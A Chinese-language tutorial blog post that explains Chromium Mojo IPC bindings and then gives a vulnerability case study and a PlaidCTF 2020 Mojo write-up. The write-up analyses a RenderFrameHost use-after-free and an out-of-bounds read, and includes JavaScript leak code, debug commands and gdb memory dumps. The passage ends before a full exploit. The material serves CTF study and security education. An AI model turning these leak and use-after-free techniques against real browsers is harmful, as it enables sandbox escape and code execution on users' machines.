// NOTE: A common pattern for interface implementations which have one
// instance per client is to take a PendingReceiver in the constructor.
explicit LoggerImpl(mojo::PendingReceiver<sample::mojom::Logger> receiver)
: receiver_(this, std::move(receiver)) {}
~Logger() override {}
// sample::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
lines_.push_back(message);
}
void GetTail(GetTailCallback callback) override {
std::move(callback).Run(lines_.back());
}
private:
mojo::Receiver<sample::mojom::Logger> receiver_;
std::vector<std::string> lines_;
DISALLOW_COPY_AND_ASSIGN(LoggerImpl);
};
现在client可以这样调用GetTail
void OnGetTail(const std::string& message) {
LOG(ERROR) << "Tail was: " << message;
}
logger->GetTail(base::BindOnce(&OnGetTail));
#### Sending Interfaces Over Interfaces
我们知道如何创建接口管道,并以一些有趣的方式使用它们的Remote和PendingReceiver端点。这仍然不构成有趣的IPC!Mojo
IPC的主要功能是能够跨其他接口传输接口端点，因此让我们看一下如何实现这一点。
##### Sending Pending Receivers
考虑如下Mojom
module db.mojom;
interface Table {
void AddRow(int32 key, string data);
};
interface Database {
AddTable(pending_receiver<Table> table);
};
`pending_receiver<Table>`对应c++里的`PendingReceiver<T>`类型，并且为这个mojom生成类似如下的代码:
namespace db {
namespace mojom {
class Table {
public:
virtual ~Table() {}
virtual void AddRow(int32_t key, const std::string& data) = 0;
}
class Database {
public:
virtual ~Database() {}
virtual void AddTable(mojo::PendingReceiver<Table> table);
};
} // namespace mojom
} // namespace db
其对应的implemention如下:
#include "sample/db.mojom.h"
class TableImpl : public db::mojom:Table {
public:
explicit TableImpl(mojo::PendingReceiver<db::mojom::Table> receiver)
: receiver_(this, std::move(receiver)) {}
~TableImpl() override {}
// db::mojom::Table:
void AddRow(int32_t key, const std::string& data) override {
rows_.insert({key, data});
}
private:
mojo::Receiver<db::mojom::Table> receiver_;
std::map<int32_t, std::string> rows_;
};
class DatabaseImpl : public db::mojom::Database {
public:
explicit DatabaseImpl(mojo::PendingReceiver<db::mojom::Database> receiver)
: receiver_(this, std::move(receiver)) {}
~DatabaseImpl() override {}
// db::mojom::Database:
void AddTable(mojo::PendingReceiver<db::mojom::Table> table) {
tables_.emplace_back(std::make_unique<TableImpl>(std::move(table)));
}
private:
mojo::Receiver<db::mojom::Database> receiver_;
std::vector<std::unique_ptr<TableImpl>> tables_;
};
`pending_receiver<Table>`参数对应的是一个强类型的message pipe
handle，当DatabaseImpl接收到一个AddTable消息时，它构造一个新的`TableImpl`实例，并且将其绑定到接收到的`mojo::PendingReceiver<db::mojom::Table>`
让我们看一下具体的用法
mojo::Remote<db::mojom::Database> database;
DatabaseImpl db_impl(database.BindNewPipeAndPassReceiver());
mojo::Remote<db::mojom::Table> table1, table2;
database->AddTable(table1.BindNewPipeAndPassReceiver());
database->AddTable(table2.BindNewPipeAndPassReceiver());
table1->AddRow(1, "hiiiiiiii");
table2->AddRow(2, "heyyyyyy");
请注意，即使它们的`mojo::PendingReceiver<db::mojom::Table>`端点仍在传输中，我们也可以立即立即开始使用新的Table管道。
##### Sending Remote
当然我们也可以发送Remotes
interface TableListener {
OnRowAdded(int32 key, string data);
};
interface Table {
AddRow(int32 key, string data);
AddListener(pending_remote<TableListener> listener);
};
生成这样的代码
virtual void AddListener(mojo::PendingRemote<TableListener> listener) = 0;
使用起来是这样的
mojo::PendingRemote<db::mojom::TableListener> listener;
TableListenerImpl impl(listener.InitWithNewPipeAndPassReceiver());
table->AddListener(std::move(listener));
#### Other Interface Binding Types
##### Self-owned Receivers
self-owned的receiver作为一个独立的object存在，它拥有一个std::unique_ptr指向其绑定的interface
implemention，并且在MessagePipe被关闭或者发生一些错误时，负责任的去delete
implemention，所以其将一个interface implemention和MessagePipe绑定到了一起。
MakeSelfOwnedReceiver函数被用于创建这样的receiver
class LoggerImpl : public sample::mojom::Logger {
public:
LoggerImpl() {}
~LoggerImpl() override {}
// sample::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
}
private:
// NOTE: This doesn't own any Receiver object!
};
mojo::Remote<db::mojom::Logger> logger;
mojo::MakeSelfOwnedReceiver(std::make_unique<LoggerImpl>(),
logger.BindNewPipeAndPassReceiver());
logger->Log("NOM NOM NOM MESSAGES");
只要logger在系统中的某个位置保持open状态，在另一端绑定的LoggerImpl将存活。
##### Receiver Sets
在多个client共享同一个implement实例的时候使用。
module system.mojom;
interface Logger {
Log(string message);
};
interface LoggerProvider {
GetLogger(Logger& logger);
};
如此我们就可以使用ReceiverSet去绑定多个Looger pending receiver到单个implement实例
class LogManager : public system::mojom::LoggerProvider,
public system::mojom::Logger {
public:
explicit LogManager(mojo::PendingReceiver<system::mojom::LoggerProvider> receiver)
: provider_receiver_(this, std::move(receiver)) {}
~LogManager() {}
// system::mojom::LoggerProvider:
void GetLogger(mojo::PendingReceiver<Logger> receiver) override {
logger_receivers_.Add(this, std::move(receiver));
}
// system::mojom::Logger:
void Log(const std::string& message) override {
LOG(ERROR) << "[Logger] " << message;
}
private:
mojo::Receiver<system::mojom::LoggerProvider> provider_receiver_;
mojo::ReceiverSet<system::mojom::Logger> logger_receivers_;
};
##### Remote Sets
同理，有时维护一组Remotes很有用，例如一组观察某些事件的client。
module db.mojom;
interface TableListener {
OnRowAdded(int32 key, string data);
};
interface Table {
AddRow(int32 key, string data);
AddListener(pending_remote<TableListener> listener);
};
Table的实现可能是这样的
class TableImpl : public db::mojom::Table {
public:
TableImpl() {}
~TableImpl() override {}
// db::mojom::Table:
void AddRow(int32_t key, const std::string& data) override {
rows_.insert({key, data});
listeners_.ForEach([key, &data](db::mojom::TableListener* listener) {
listener->OnRowAdded(key, data);
});
}
void AddListener(mojo::PendingRemote<db::mojom::TableListener> listener) {
listeners_.Add(std::move(listener));
}
private:
mojo::RemoteSet<db::mojom::Table> listeners_;
std::map<int32_t, std::string> rows_;
};
#### Associated Interfaces
* 允许在message pipe上运行多个interface，同时保留message的顺序
* 使receiver可以从多个sequence访问单个message pipe
##### Mojom
引入新的类型pending_associated_remote和pending_associated_receiver
```c++
interface Bar {};
struct Qux {
pending_associated_remote<bar> bar;
};</bar>
interface Foo {
// Uses associated remote.
PassBarRemote(pending_associated_remote<bar> bar);
// Uses associated receiver.
PassBarReceiver(pending_associated_receiver<bar> bar);
// Passes a struct with associated interface pointer.
PassQux(Qux qux);
// Uses associated interface pointer in callback.
AsyncGetBar() => (pending_associated_remote<bar> bar);
};</bar></bar></bar>
在每个interface impl/client将使用相同的message pipe，通过传递associated remote/receiver进行通信
##### Passing pending associated receivers
假设你已经有了一个`Remote<Foo> foo`，你想要去call `PassBarReceiver`，你可以这样:
```c++
mojo::PendingAssociatedRemote<Bar> pending_bar;
mojo::PendingAssociatedReceiver<Bar> bar_receiver = pending_bar.InitWithNewEndpointAndPassReceiver();
foo->PassBarReceiver(std::move(bar_receiver));
mojo::AssociatedRemote<Bar> bar;
bar.Bind(std::move(pending_bar));
bar->DoSomething();
首先代码创建一个Bar类型的associated
interface，和之前我们创建的不同在于，associated的两端(bar_receiver和pending_bar)之一，必须通过另一个interface发送，这就是接口和现有message
pipe关联的方式。
应该注意的是，在传递bar_receiver之前不能调用`bar->DoSomething()`,需要满足FIFO:
在接收方，当DoSomething调用的消息到达时，我们希望在处理任何后续消息之前将其分派到对应的`AssociatedReceiver<Bar>`，如果bar_receiver在后续的消息里，那么消息调度就将陷入死锁。
另一方面，一旦发送了`bar_receiver`，bar就可以使用，而无须等待bar_receiver绑定到具体的implemention。
上面的代码也可以写成这样，包一层语法糖
mojo::AssociatedRemote<Bar> bar;
foo->PassBarReceiver(bar.BindNewEndpointAndPassReceiver());
bar->DoSomething();
Foo的impl实现如下:
class FooImpl : public Foo {
...
void PassBarReceiver(mojo::AssociatedReceiver<Bar> bar) override {
bar_receiver_.Bind(std::move(bar));
...
}
...
Receiver<Foo> foo_receiver_;
AssociatedReceiver<Bar> bar_receiver_;
};
在这个例子里,bar_receiver_的生命周期和FooImpl息息相关，但是你不必这样做。
你可以将bar2传递到另一个序列，然后在那里绑定`AssociatedReceiver<Bar>`。
##### Passing associated remotes
同理
mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl);
mojo::PendingAssociatedRemote<Bar> bar;
mojo::PendingAssociatedReceiver<Bar> bar_pending_receiver = bar.InitWithNewEndpointAndPassReceiver();
foo->PassBarRemote(std::move(bar));
bar_receiver.Bind(std::move(bar_pending_receiver));
mojo::AssociatedReceiver<Bar> bar_receiver(some_bar_impl);
mojo::PendingAssociatedRemote<Bar> bar;
bar_receiver.Bind(bar.InitWithNewPipeAndPassReceiver());
foo->PassBarRemote(std::move(bar));
### Mojo JavaScript Bindings API
#### Getting Started
bindings API被定义在mojo
namespace里，其实现在[mojo_bindings.js](https://source.chromium.org/chromium/chromium/src/+/master:out/Debug/gen/mojo/public/js/mojo_bindings.js)
当bindings generator处理mojom IDL文件时，将会生成对应的mojom.js文件。
假设我们创建一个`//services/echo/public/interfaces/echo.mojom`文件和`//services/echo/public/interfaces/BUILD.gn`
module test.echo.mojom;
interface Echo {
EchoInteger(int32 value) => (int32 result);
};
import("//mojo/public/tools/bindings/mojom.gni")
mojom("interfaces") {
sources = [
"echo.mojom",
]
}
通过构建如下生成target，来生成bindings。
* foo_js JavaScript bindings; 被用在compile-time dependency.
* foo_js_data_deps JavaScript bindings; 被用在run-time dependency.
如果我们编译这个target,这将生成几个source file
ninja -C out/r services/echo/public/interfaces:interfaces_js
其中与js binding相关的是
out/gen/services/echo/public/interfaces/echo.mojom.js
为了使用echo.mojom中的定义，您将需要使用`<script>`标签在html页面中包括两个文件：
* mojo_bindings.js: 注意这个文件必须放在所有的`.mojom.js`文件之前。
* echo.mojom.js
<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
var echoPtr = new test.echo.mojom.EchoPtr();
var echoRequest = mojo.makeRequest(echoPtr);
// ...
</script>
#### Interfaces
和C++ bindings API相同的是，我们有
* `mojo.InterfacePtrInfo`和`mojo.InterfaceRequest`封装message pipe的两端，他们分别代表interface连接的client端和service端
* 对于每个Mojom interface Foo，这也生成一个FooPtr类，它保存一个InterfacePtrInfo，提供了使用InterfacePtrInfo中的message pipe handle发送interface call的方法。
* `mojo.Binding`保存一个InterfaceRequest。 它侦听message pipe handle，并将传入的message分发到user-defined的interface实现。
让我们考虑上面的echo.mojom示例。下面显示了如何创建Echo interface connection和使用它进行call。
<!DOCTYPE html>
<script src="URL/to/mojo_bindings.js"></script>
<script src="URL/to/echo.mojom.js"></script>
<script>
function EchoImpl() {}
EchoImpl.prototype.echoInteger = function(value) {
return Promise.resolve({result: value});
// Promise.resolve('foo')
// 粗略可以理解成，但注意这并不严格等价，只是在这里可以这么理解
// new Promise(resolve => resolve('foo'))
};
var echoServicePtr = new test.echo.mojom.EchoPtr();
var echoServiceRequest = mojo.makeRequest(echoServicePtr);
var echoServiceBinding = new mojo.Binding(test.echo.mojom.Echo,
new EchoImpl(),
echoServiceRequest);
echoServicePtr.echoInteger({value: 123}).then(function(response) {
console.log('The result is ' + response.result);
});
</script>
##### Interface Pointer and Request
在上面的示例中,test.echo.mojom.EchoPtr是一个interface pointer类，它代表interface
connection的client。对于Echo
Mojom接口中的方法EchoInteger，在EchoPtr中定义了相应的echoInteger方法（注意，生成的method
name的格式为camelCaseWithLowerInitial,即小驼峰,第一个字母小写)
这就是实际生成的[echo.mojom.js](https://source.chromium.org/chromium/chromium/src/+/master:out/win-Debug/gen/mojo/public/interfaces/bindings/tests/echo.mojom.js)
在上面的实例中，echoServiceRequest是一个InterfaceRequest实例，它代表接口连接的server。
mojo.makeRequest创建一个message
pipe，用pipe的一端填充output参数（可以是InterfacePtrInfo或interface
pointer）,返回包装在InterfaceRequest实例中的另一端。
// |output| could be an interface pointer, InterfacePtrInfo or
// AssociatedInterfacePtrInfo.
function makeRequest(output) {
if (output instanceof mojo.AssociatedInterfacePtrInfo) {
var {handle0, handle1} = internal.createPairPendingAssociation();
output.interfaceEndpointHandle = handle0;
output.version = 0;
return new mojo.AssociatedInterfaceRequest(handle1);
}
if (output instanceof mojo.InterfacePtrInfo) {
var pipe = Mojo.createMessagePipe();
output.handle = pipe.handle0;
output.version = 0;
return new mojo.InterfaceRequest(pipe.handle1);
}
var pipe = Mojo.createMessagePipe();
output.ptr.bind(new mojo.InterfacePtrInfo(pipe.handle0, 0));
return new mojo.InterfaceRequest(pipe.handle1);
}
##### Binding an InterfaceRequest
mojo.Binding桥接了interface的实现和message pipe的一端，从而将传入的message从server端分派到该实现。
在上面的示例中，echoServiceBinding侦听message
pipe上的传入的EchoInteger方法调用，并将这些调用分派到EchoImpl实例。
// ---------------------------------------------------------------------------
// |request| could be omitted and passed into bind() later.
//
// Example:
//
// // FooImpl implements mojom.Foo.
// function FooImpl() { ... }
// FooImpl.prototype.fooMethod1 = function() { ... }
// FooImpl.prototype.fooMethod2 = function() { ... }
//
// var fooPtr = new mojom.FooPtr();
// var request = makeRequest(fooPtr);
// var binding = new Binding(mojom.Foo, new FooImpl(), request);
// fooPtr.fooMethod1();
function Binding(interfaceType, impl, requestOrHandle) {
this.interfaceType_ = interfaceType;
this.impl_ = impl;
this.router_ = null;
this.interfaceEndpointClient_ = null;
this.stub_ = null;
if (requestOrHandle)
this.bind(requestOrHandle);
}
...
...
Binding.prototype.bind = function(requestOrHandle) {
this.close();
var handle = requestOrHandle instanceof mojo.InterfaceRequest ?
requestOrHandle.handle : requestOrHandle;
if (!(handle instanceof MojoHandle))
return;
this.router_ = new internal.Router(handle);
this.stub_ = new this.interfaceType_.stubClass(this.impl_);
this.interfaceEndpointClient_ = new internal.InterfaceEndpointClient(
this.router_.createLocalEndpointHandle(internal.kPrimaryInterfaceId),
this.stub_, this.interfaceType_.kVersion);
this.interfaceEndpointClient_ .setPayloadValidators([
this.interfaceType_.validateRequest]);
};
##### Receiving Responses
一些mojom接口期待response，例如EchoInteger，对应的js方法返回一个Promise，当service端发回响应时，此Promise将被resolve，如果interface断开连接，则将被reject。
## async和await
function resolveAfter2Seconds(x) {
return new Promise(function(resolve){
setTimeout(function(){
resolve(x);
}, 2000);
});
}
async function f1() {
var x = await resolveAfter2Seconds(10);
console.log(x); // 10
console.log("end");
}
function f2(){
console.log("sakura");
}
f1();
f2();
...
...
//结果
sakura
10
end
使用`new Promise( function(resolve, reject) {...} /* executor */
);`来创建一个Promise对象，其参数executor是带有resolve和reject两个参数的函数 。
Promise构造函数执行时立即调用executor函数，resolve和reject两个函数作为参数传递给executor（executor函数在Promise构造函数返回所建promise实例对象前被调用）。resolve和reject函数被调用时，分别将promise的状态改为fulfilled（完成）或rejected（失败）。
如上resolveAfter2Seconds函数返回一个Promise对象，其将立刻调用setTimeout函数，并等待then一个函数，作为它的resolve来执行
例如
resolveAfter2Seconds(10).then((x)=>{console.log(x)})
...
//10
await可以等待Promise里的executor函数执行结束（ **阻塞** ），并返回其promise的fulfilled
value，其实也就是作为参数传给resolve函数的那个值。
另外
Promise.resolve('foo')
// 粗略可以理解成，但注意这并不严格等价，只是在这里可以这么理解
new Promise(function(resolve){
resolve('foo')
})
所以如果`let a = await Promise.resolve('foo')`，则a的值为'foo'
await一般和async一起用，如最前面的例子，只有f1函数里的被阻塞，而不影响f2函数执行，关于异步在这里不再多说，知道这些已经足够，另外一般的写法都是用了箭头函数，这里为了更好理解就改掉了。
## case study: RenderFrameHost lifetime cause sandbox escape
这里我们通过一个简单的漏洞[issue-1062091](https://bugs.chromium.org/p/chromium/issues/detail?id=1062091)来学习chrome的对象生命周期造成的一类安全问题。
我们首先看一下造成这个漏洞的mojo接口的定义,在继续往下阅读之前，请仔细的理解前面我写的mojo的基础知识。
// Represents a system application related to a particular web app.
// See: https://www.w3.org/TR/appmanifest/#dfn-application-object
struct RelatedApplication {
string platform;
// TODO(mgiuca): Change to url.mojom.Url (requires changing
// WebRelatedApplication as well).
string? url;
string? id;
string? version;
};
// Mojo service for the getInstalledRelatedApps implementation.
// The browser process implements this service and receives calls from
// renderers to resolve calls to navigator.getInstalledRelatedApps().
interface InstalledAppProvider {
// Filters |relatedApps|, keeping only those which are both installed on the
// user's system, and related to the web origin of the requesting page.
// Also appends the app version to the filtered apps.
FilterInstalledApps(array<RelatedApplication> related_apps, url.mojom.Url manifest_url)
=> (array<RelatedApplication> installed_apps);
};
一个render进程里的RenderFrame，对应到browser进程里的一个RenderFrameHost。
打开一个新的tab，或者创建一个iframe的时候，都对应创建出一个新的RenderFrameHost对象，而在构造一个新的RenderFrameHost对象的时候，会使用RenderFrameHostImpl来初始化一个BrowserInterfaceBrokerImpl对象。
//content/browser/renderer_host/render_frame_host_impl.h
class CONTENT_EXPORT RenderFrameHostImpl
: public RenderFrameHost,
...
// BrowserInterfaceBroker implementation through which this
// RenderFrameHostImpl exposes document-scoped Mojo services to the currently
// active document in the corresponding RenderFrame.
BrowserInterfaceBrokerImpl<RenderFrameHostImpl, RenderFrameHost*> broker_{
this};
broker可以用来在render和browser之间通信，其bind来自renderer的interfaces requested到具体的mojo
interface
impl上，依据不同的ExecutionContextHost，最终调用的PopulateBinderMap不同，这里是使用的renderframehost，关于其他host，以后再深究。
// content's implementation of the BrowserInterfaceBroker interface that binds
// interfaces requested by the renderer. Every execution context type (frame,
// worker etc) owns an instance and registers appropriate handlers (see
// internal::PopulateBinderMap).
// Note: this mechanism will eventually replace the usage of InterfaceProvider
// and browser manifests, as well as DocumentInterfaceBroker.
template <typename ExecutionContextHost, typename InterfaceBinderContext>
class BrowserInterfaceBrokerImpl : public blink::mojom::BrowserInterfaceBroker {
public:
BrowserInterfaceBrokerImpl(ExecutionContextHost* host) : host_(host) {
internal::PopulateBinderMap(host, &binder_map_);
internal::PopulateBinderMapWithContext(host, &binder_map_with_context_);
}
通过`map->Add`来向broker里注册适当的handlers回调，由于RenderFrameHostImpl里保存一个BrowserInterfaceBroker的实例，所以当此实现收到来自render的GetInterface方法调用时，它将调用这个回调，例如当通过bindinterface来请求调用一个interface的时候，
void PopulateFrameBinders(RenderFrameHostImpl* host,
service_manager::BinderMap* map) {
...
map->Add<blink::mojom::InstalledAppProvider>(
base::BindRepeating(&RenderFrameHostImpl::CreateInstalledAppProvider,
base::Unretained(host)));
...
}
我们看一下mojo接口的定义
所以最终从mojo调到的注册函数如下
void RenderFrameHostImpl::CreateInstalledAppProvider(
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
InstalledAppProviderImpl::Create(this, std::move(receiver));
}
// static
void InstalledAppProviderImpl::Create(
RenderFrameHost* host,
mojo::PendingReceiver<blink::mojom::InstalledAppProvider> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<InstalledAppProviderImpl>(host),
std::move(receiver));
}
参数是RenderFrameHost和一个receiver,这里通过MakeSelfOwnedReceiver函数来创建一个self-owned的receiver，其作为一个独立的object存在，它拥有一个std::unique_ptr指向其绑定的interface
implemention，并且在MessagePipe被关闭或者发生一些错误时，负责任的去delete
implemention，所以其将一个interface
implemention和MessagePipe绑定到了一起，具体实现参考[这里](https://source.chromium.org/chromium/chromium/src/+/master:mojo/public/cpp/bindings/self_owned_receiver.h)。
**这里我们只要知道InstalledAppProviderImpl和message pipe的生命周期绑定即可，只要message
pipe还连接，其就一直存在**
另外InstalledAppProviderImpl里保存一个`render_frame_host_`对象，其来自传入的`render_frame_host`指针，但是
**并没有通过任何方法来将InstalledAppProviderImpl和RenderFrameHost的生命周期绑定**
，一般来说会通过将Impl继承自WebObserver等来观察renderframehost的生命周期，当renderframehost析构的时候会通知Impl做出正确的处理，但这里没有。
InstalledAppProviderImpl::InstalledAppProviderImpl(
RenderFrameHost* render_frame_host)
: render_frame_host_(render_frame_host) {
DCHECK(render_frame_host_);
}
...
void InstalledAppProviderImpl::FilterInstalledApps(
std::vector<blink::mojom::RelatedApplicationPtr> related_apps,
const GURL& manifest_url,
FilterInstalledAppsCallback callback) {
if (render_frame_host_->GetProcess()->GetBrowserContext()->IsOffTheRecord()) {
std::move(callback).Run(std::vector<blink::mojom::RelatedApplicationPtr>());
return;
}
...
}
所以我们可以通过free
iframe来释放掉对应的render_frame_host，而此时InstalledAppProviderImpl的实例依然存在，再通过FilterInstalledApps来再次use
`render_frame_host_`,而`render_frame_host_->GetProcess()`是一个虚函数调用，通过占位render_frame_host来伪造虚函数表，我们就可以任意代码执行。
## plaidctf2020 mojo writeup
### root cause analysis
// static
void PlaidStoreImpl::Create(
RenderFrameHost *render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver) {
mojo::MakeSelfOwnedReceiver(std::make_unique<PlaidStoreImpl>(render_frame_host),// note lifetime
std::move(receiver));
}
..
class PlaidStoreImpl : public blink::mojom::PlaidStore {
public:
explicit PlaidStoreImpl(RenderFrameHost *render_frame_host);
static void Create(
RenderFrameHost* render_frame_host,
mojo::PendingReceiver<blink::mojom::PlaidStore> receiver);
~PlaidStoreImpl() override;
// PlaidStore overrides:
void StoreData(
const std::string &key,
const std::vector<uint8_t> &data) override;
void GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) override;
private:
RenderFrameHost* render_frame_host_;//----> can free
std::map<std::string, std::vector<uint8_t> > data_store_;
};
..
void PlaidStoreImpl::StoreData(
const std::string &key,
const std::vector<uint8_t> &data) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
return;
}
data_store_[key] = data;
}
void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end()) {
std::move(callback).Run({});
return;
}
std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);//oob
std::move(callback).Run(result);
}
interface PlaidStore {
// Stores data in the data store
StoreData(string key, array<uint8> data);
// Gets data from the data store
GetData(string key, uint32 count) => (array<uint8> data);
};
这个题目里有两个漏洞
* UAF
这个题目里的UAF和我们上面分析的那个case如出一辙，都是同样的生命周期管理的问题，由于MakeSelfOwnedReceiver将PlaidStoreImpl实例和message
pipe关联在一起，只要不断开则PlaidStoreImpl实例不会被析构。
而PlaidStoreImpl类保存了指向其所在render_frame_host的raw
pointer，即`render_frame_host_`，但是并没有将它们的生命周期绑定，即render_frame_host被析构，但PlaidStoreImpl实例仍然可以存在。
于是就可以通过在主frame里创建一个child iframe，然后在child iframe里将message
pipe的remote端传给父frame，然后将child iframe从dom里移除，从而析构掉child
iframe其对应的render_frame_host，但由于message
pipe被传给了父frame，因此不会被断开，而此时render_frame_host已经被析构掉了。
所以我们可以通过父frame来通过child iframe里传过来的message
pipe的remote端，来调用其StoreData/GetData触发UAF。
* OOB
void PlaidStoreImpl::GetData(
const std::string &key,
uint32_t count,
GetDataCallback callback) {
if (!render_frame_host_->IsRenderFrameLive()) { // use
std::move(callback).Run({});
return;
}
auto it = data_store_.find(key);
if (it == data_store_.end()) {
std::move(callback).Run({});
return;
}
std::vector<uint8_t> result(it->second.begin(), it->second.begin() + count);//oob
std::move(callback).Run(result);
}
可以看出并没有约束count的大小，所以我们可以通过getData来越界读并返回读取的结果。
### debug
* 解压mojo题，在本地开启一个server
sakura@ubuntu:~/mojo$ ls
cc Dockerfile mojo_js.zip third_party
chrome extensions plaidstore.diff trigger.html
chrome_100_percent.pak flag_printer resources.pak ui
chrome_200_percent.pak gpu run.sh url
chrome.zip icudtl.dat server.py v8_context_snapshot.bin
components ipc services visit.sh
content locales skia
device media storage
devtools mojo swiftshader
...
...
sakura@ubuntu:~/mojo$ python3 -m http.serverServing HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [20/Sep/2020 08:37:21] "GET /trigger.html HTTP/1.1" 200 - 127.0.0.1 - - [20/Sep/2020 09:36:21] "GET /trigger.html HTTP/1.1" 200 - 127.0.0.1 - - [20/Sep/2020 09:36:28] "GET /trigger.html HTTP/1.1" 200 -
* 启动chrome
sakura@ubuntu:~/mojo$ ./chrome --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=/tmp/noexist --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/trigger.html
* debug启动chrome
写一个debug.sh，注意因为我们要调试的是browser进程，所以要跟随parent。
file ./chrome
set args --headless --disable-gpu --remote-debugging-port=1338 --user-data-dir=/tmp/noexist --enable-blink-features=MojoJS,MojoJSTest http://localhost:8000/trigger.html
set follow-fork-mode parent
执行`gdb -x debug.sh`
### oob leak and gadget
async function oob(){
console.log("oob");
var pipe = Mojo.createMessagePipe();
Mojo.bindInterface(blink.mojom.PlaidStore.name,
pipe.handle1, "context", true);
var plaid_store_ptr = new blink.mojom.PlaidStorePtr(pipe.handle0);
await plaid_store_ptr.storeData("aaa", [0x31,0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x41,0x42,0x43,0x44,0x45,0x46,0x47,0x48]);
oob_data = await plaid_store_ptr.getData("aaa",0x20);
console.log(hex(b2i(oob_data.data.slice(0x10,0x18))));
}
[0920/093628.390634:INFO:CONSOLE(178)] "oob", source: http://localhost:8000/trigger.html (178)
[0920/093628.430111:INFO:CONSOLE(186)] "0x55ab6560a8b0", source: http://localhost:8000/trigger.html (186)
可以看出我们leak出了一个很像地址的东西，那么我们可以调试一下我们到底可以越界读取到什么
* 首先我们可以看看创建PlaidStoreImpl的函数，并下一个断点，我们可以
gdb-peda$ info functions PlaidStoreImpl
All functions matching regular expression "PlaidStoreImpl":
Non-debugging symbols:
0x0000000003c58170 content::PlaidStoreImpl::~PlaidStoreImpl()
0x0000000003c58170 content::PlaidStoreImpl::~PlaidStoreImpl()
0x0000000003c58190 content::PlaidStoreImpl::~PlaidStoreImpl()
0x0000000003c581c0 content::PlaidStoreImpl::StoreData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)
0x0000000003c582b0 content::PlaidStoreImpl::GetData(std::__1::basic_string<char, std::__1::char_traits<char>, std::__1::allocator<char> > const&, unsigned int, base::OnceCallback<void (std::__1::vector<unsigned char, std::__1::allocator<unsigned char> > const&)>)
0x0000000003c58490 content::PlaidStoreImpl::Create(content::RenderFrameHost*, mojo::PendingReceiver<blink::mojom::PlaidStore>)
0x0000000003c58550 base::WeakPtr<mojo::StrongBinding<blink::mojom::PlaidStore> > mojo::MakeSelfOwnedReceiver<blink::mojom::PlaidStore, content::PlaidStoreImpl>(std::__1::unique_ptr<content::PlaidStoreImpl, std::__1::default_delete<content::PlaidStoreImpl> >, mojo::PendingReceiver<blink::mojom::PlaidStore>, scoped_refptr<base::SequencedTaskRunner>)
...
(gdb) b content::PlaidStoreImpl::Create
Breakpoint 1 at 0x3c58494
(gdb) r
...
=> 0x5555591ac494 <plaid_store_ptrPlaidStoreEEE+4>: push r15
0x5555591ac496 <plaid_store_ptrPlaidStoreEEE+6>: push r14
0x5555591ac498 <plaid_store_ptrPlaidStoreEEE+8>: push rbx
0x5555591ac499 <plaid_store_ptrPlaidStoreEEE+9>: sub rsp,0x38
0x5555591ac49d <plaid_store_ptrPlaidStoreEEE+13>: mov r14,rsi
0x5555591ac4a0 <plaid_store_ptrPlaidStoreEEE+16>: mov rbx,rdi
0x5555591ac4a3 <plaid_store_ptrPlaidStoreEEE+19>: mov edi,0x28 //从这里可以看出impl的大小是0x28
0x5555591ac4a8 <plaid_store_ptrPlaidStoreEEE+24>:
call 0x55555ac584b0 <_ZnwmRKSt9nothrow_t> //operator new(unsigned long, std::nothrow_t const&),注意这条语句执行完了之后的rax就是impl的地址，所以我会在知道了这个地址之后，直接finish这个函数，然后看最终的对象布局。
0x5555591ac4ad <plaid_store_ptrPlaidStoreEEE+29>:
lea rcx,[rip+0x635e2ec] # 0x55555f50a7a0 <_ZTVN7content14PlaidStoreImplE+16> //vtable for content::PlaidStoreImpl
0x5555591ac4b4 <plaid_store_ptrPlaidStoreEEE+36>: mov QWORD PTR [rax],rcx
0x5555591ac4b7 <plaid_store_ptrPlaidStoreEEE+39>:
mov QWORD PTR [rax+0x8],rbx
0x5555591ac4bb <plaid_store_ptrPlaidStoreEEE+43>: lea rcx,[rax+0x18]
0x5555591ac4bf <plaid_store_ptrPlaidStoreEEE+47>: xorps xmm0,xmm0
0x5555591ac4c2 <plaid_store_ptrPlaidStoreEEE+50>:
movups XMMWORD PTR [rax+0x18],xmm0
0x5555591ac4c6 <_ZN7content14PlaidStoreImpl6Crea
...
//在执行了call指令之后，返回的rax的值，就是plaidstoreimpl的地址
gdb-peda$ x/20gx 0x2dd26ed2ede0
0x2dd26ed2ede0: 0x000055555f50a7a0 //vtable 0x00002dd26ec42400 // render_frame_host_
0x2dd26ed2edf0: |map start| 0x00002dd26ed2edf8 0x0000000000000000
0x2dd26ed2ee00: 0x0000000000000000|map end| --> // data_store_
* 然后我们执行到storeData结束，看看此时data_store_这个map是怎么保存数据的。
gdb-peda$ x/20gx 0x00002dd26ed33870 //data_store_
0x2dd26ed33870: 0x0000000000000000 0x0000000000000000
0x2dd26ed33880: 0x00002dd26ed2edf8 0x000055555aba0101
0x2dd26ed33890: 0x0000000000616161//key1 0x0000000000000000
0x2dd26ed338a0: 0x0300000000000000 0x00002dd26ed2f0b0//value1
0x2dd26ed338b0: 0x00002dd26ed2f0c0 0x00002dd26ed2f0c0
0x2dd26ed338c0: 0xffffd22f00000001 0x0000000000000000
0x2dd26ed338d0: 0x0000000000000000 0x0000000000000000
0x2dd26ed338e0: 0x0000000000000000 0x0000000000000000
0x2dd26ed338f0: 0x00002dd26ed00000 0x00002dd26ec1c0c0
0x2dd26ed33900: 0x00002dd26ec1c0c0 0x0000000000000001
gdb-peda$ x/20gx 0x00002dd26ed2f0b0
